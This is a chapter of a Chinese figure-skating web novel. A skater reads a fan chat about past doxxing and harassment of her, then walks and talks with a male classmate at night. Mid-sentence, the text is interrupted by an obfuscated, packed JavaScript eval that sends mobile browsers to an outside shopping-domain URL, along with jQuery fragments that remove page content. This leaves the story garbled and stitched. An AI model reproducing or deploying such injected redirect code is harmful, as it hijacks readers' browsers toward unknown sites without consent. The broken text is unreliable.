文趣网 > 其他小说 > 她和他的无尽夏[花滑] > 54. 竞争
    在无人的休息室内,一记耳光的声音打破了这个平静,有些红肿的脸颊上划过了一滴眼泪

    苏冉怎么能有这么恶毒的想法呢?明明是她自己输掉了淮云市奥运会的参赛资格。

    对于这次奥运会,她本来就过了竞技状态最好的时间,大龄运动员比不过后起的新秀是正常的。

    只是对于她这种离奥运会只有一步之遥的运动员,心里的不甘都是要溢出来了。

    场馆外的天色逐渐暗了下来,为了不重蹈覆辙,她选择早早的回了寝室。

    寝室里,夏悦可和王婧不在,这几天趁着没什么课,她们俩去外地玩了,第四位室友好像是本地人,转专业后就不在这个班了。

    虽然很累,但她躺在床上却怎么也睡不着,只听见手机“叮咚”一声响,屏幕上显示着她被拉到一个叫“归去来兮”的QQ群里。

    这可把苏冉吓得不轻,一些不好的记忆突然被唤醒。

    之前个人信息被泄露时,她的号就经常容易被拉到各种黑粉群里,现场接受谩骂。

    这次的号她只加了几个信任的人为好友,她用手捂住屏幕,小心翼翼的透过手指缝去看群里的消息。

    【今天吃什么:家人们,我终于回来了,最近一直在和律师联系整理材料,准备告那些骂我的人。】

    【考试必过:辛苦了群主,真是没想到这个群还能复活,真是太感动了!】

    【不想上班:真是很感慨啊,大家居然都还在。】

    【考试必过:想到那天群里突然间涌入了许多非人生物,像机器人一样刷屏,发苏冉的黑图,我现在还是会害怕。】

    【有借必有贷:我之前就科普了一下节目规则就被喷了几百层楼,吓得我把号就注销了。】

    【今天吃什么:我那时上班摸鱼刷手机就看见了自己的证件照在某平台满天飞,感觉天都要塌了。】

    【不想上班:摸摸群主,只能熬过这场浩劫的冰迷都不容易。】

    【今天吃什么:都过去了,我们还在,苏冉也还在滑冰,真是不幸中的万幸。】

    【考试必过:有生之年还能看见苏冉去奥运会吗?】

    【不想上班:不敢奢望,还是快乐滑冰吧。】

    【有借必有贷:话说,你们觉不觉得当时的群里有内鬼?】

    【考试必过:?】

    【不想上班:?】

    【有借必有贷:因为当时我只在群里讲了些八卦,但是网上的某些人是知道的。】

    【考试必过:完全没意识到,有的人真是闲得慌,不喜欢一个人还是千方百计的来打听。】

    【不想上班:我想起来了,群被解散的前一天,有个黑粉加了我,发了一堆举报昵称为“带着偏见看世界”的材料,全是群里她的发言,但奇怪就在于,这个昵称从来没说她加过什么群。】

    【有借必有贷:我记得这位勇士,她现在有了属于自己的黑粉群。】

    【今天吃什么:如果还有人有什么截图等什么东西的,可以私发给我。】

    【今天吃什么:我这边有群里所有的聊天记录,等我忙完这阵,我一定要揪出来是谁!】

    看到这里,苏冉突然觉得后背发凉,一想到群里和和和气气的背后,有些恨她的人就像毒蛇一样吐着性子,盯着每一条可以证明她有问题的聊天记录,尽管她都没有在群里发言。

    对于群里的人被她连累也被网暴的事,她感到很抱歉、同时也很无力,因为她甚至无法保护自己……

    办案的警察有跟她说过,虽然网上有难以监管的“黑科技开盒”,但也不排除她身边有熟悉的人作案的嫌疑,相当多的案件里,这两者是并行的。

    经群里的人这么提醒,细想起来,或许她身边也有人是内鬼。

    难就难在,她熟识的人不多,能恨自己到这种程度的人就更少了,几乎可以说没有吧。

    窗外有几个学生说说笑笑的经过,还是要有点警惕心。

    正在胡思乱想之际,手机又弹出一条消息。

    【林致远:你的学生证落我这里了,需要我现在给你送过去吗?】

    什么?

    她深吸一口气,摸向衣服的口袋,果然少了块硬邦邦的东西。

    离寝室不远的操场,学生会的人正在搭好台子上走流程,这几天学校要举办校园十佳歌手的比赛。

    苏冉出来时草草披了件外套,盯着手机屏幕发呆,林致远出现的理由真是充分,让她没有办法拒绝。

    不多时,穿着浅灰色休闲装的身影就出现了,他穿过正在为搭建舞台而忙碌的众人,大踏步的走过来。

    学校的工作人员刚刚割了附近的草坪,一股干燥的青草味的风吹动了她额前的碎发。

    “真是麻烦你了,”她把自己的学生证收好,一时不知道该说点什么,“其实也不用大老远过来就送这个东西。”

    “在学校里有很多地方都会用上,”林致远手插在口袋里,眼睛在偷偷的瞄站着她,“冰上的训练怎么样?”

    “嗯……冰上恢复得还可以。”

    一来就问这种尴尬的问题,现在的苏冉真的是不知道怎么说了。

    空中传来一阵轰鸣的声音,抬头看去一架闪着灯的飞机。

    “你要是没什么事,我就先走了。”他歪了歪头,轻声说。

    怎么回事?难道他真的是来送学生证的?

    眼看林致远要走,苏冉的话比脑子还要快:“等一下,我请你喝点东西吧。”

    他的脚步顿了顿,转过身来,眼神好像亮了一下。

    见状,她赶紧给自己找补:“不然就显得我功利性太强了,对你呼来喝去的,不太好。”

    奶茶店内,勤勉一对小情侣缠缠绵绵,半天都没有点好单。

    苏冉握着手机的手微微有点出汗,为了不被人误以为她和林致远的关系,她特意和他一前一后的进了奶茶店。

    “你喝这个吧,因为我想尝一口。”

    “直接给你点两杯好了,干嘛喝我的。”

    “两杯我喝得完吗?你这个人真是的。”

    他们到底要闹到什么时候啊!苏冉已经开始翻白眼了,背后的身影突然贴近了过来,她能听到林致远的耳语:“要不要我来排队,你在外面吹吹风?”

    她摇了摇头,不敢去看林致远的脸,可能是因为奶茶店的空间很小,人一多就容易燥热,她的脸慢慢的变红了。

    好不容易出来了,苏冉感觉自己都要熟透了。

    “去散散步怎么样?”林致远摇了摇手里的柠檬水。

    为了不让他发现自己的异样,苏冉把话题生硬的转移了:“这几天,你有什么烦心事吗?”

    浅光路旁的路灯忽得亮起,把道路染上昏黄的颜色,林致远的脸半隐着阴影里,看不出什么情绪。

    走了几步,他才说:“很多事都让人心烦。”

    “人生真是困难重重

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734519|203579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啊,”她也很认同这句话,“或许你可以和我聊聊。”

    路过篮球场,时不时发出一阵欢呼。

    “你把我留下来,是有什么事想说吗?”林致远抿了一口柠檬水,有些含糊不清的说道。

    话题怎么转移回来了,这个家伙,苏冉咬着塑料吸管,并不说话。

    他们就沿着道路慢慢的走着,到底是不喜欢沉默的尴尬的她先开了口:“林致远,如果你身边熟悉你的人其实很讨厌你,你会怎么想?”

    身边的人突然放慢了脚步,沉思了片刻,悠悠的说起了小时候的事。

    在他的记忆中,他和许新语还有陆铭的关系并不是一开始就水火不容的,最开始许新语会照顾他,他也会和陆铭一起玩,但从陆峰明里暗里提着继承权之类的事后,母子俩就开始找起了他的麻烦。

    他们就像个摄像头一样,盯着他的一举一动,然后添油加醋回报给爷爷奶奶。

    起先,林致远并不知道这是在找麻烦,吃了不少亏后才知道的。

    “我也很难形容这是一种什么样的心情,或许是害怕、心寒、不解吧。”他的声音很轻。

    直到他们污蔑他偷了自己的东西,当着那么多人的面,陆铭把他的房间翻得天翻地覆,忍无可忍的林致远才在家里闹了一场。

    随后,客厅真的被安装了摄像头,这种事才变少了。

    “我当时生气的时候,还以为我会被赶出去,”他笑了笑,“结果,反而是他们怕了。”

    苏冉看着他的杯壁上凝结的水珠一滴滴滑落,掉在柏油马路上,就此无声的融进了夜色。

    “遇到你说的这种事,会害怕是正常的,”林致远看着她,“只要你反击,害怕的就是别人了。”

    她吐出咬得破破烂烂的吸管,默默点了点头。

    “如果你需要我的话,我一定会帮你,”他郑重的说,“之前我不在,所以我想做点什么。”

    很近的距离,她可以听见他的呼吸声。

    现在轮到苏冉不敢看他的眼睛了,不知道身边这个人是出于什么感情说出这些话。

    林致远对她的感情包含些怜悯、功利心、责任心,还有几分善良……

    喜欢在里面到底占有多少?

    想到这里,她不免掉下眼泪,可是,她不想林致远是出于这些情感来找她,这样的他总有一天会离开的。

    “你怎么哭了?”林致远的声音离她很近,“我说错什么话了吗?”

    来不及憋回眼泪,苏冉一下子躲开了,看着他模糊的身影,张了张嘴因想起她还没想好借口掩饰。

    晚风吹得树叶的阴影不断摇晃,一个熟悉的声音突然出现在这个僻静的路段。

    “同学,请问归景楼怎么走?我第一次来不知道——”

    来人的声音戛然而止,她只觉得脑子里“嗡”的一声炸开了,这个声音!

    怎么是李子尧!

    “你怎么在这里?”苏冉指着他问。

    不远处的李子尧叉着腰,好半天才开口:“我读的淮云大学和清北大学有学术合作,我都来了这么多次,怎么就单单是这次就吓到你了!”

    不算遥远的记忆在此时复苏,她顿时就失去了刚才的气势。

    “你是?”摸不着头脑的林致远站了起来,给她添乱。

    “你不记得我,”李子尧冷笑一下,“真是贵人多忘事,我们见过两次的,第二次你还顺便给我带了花,我没要!”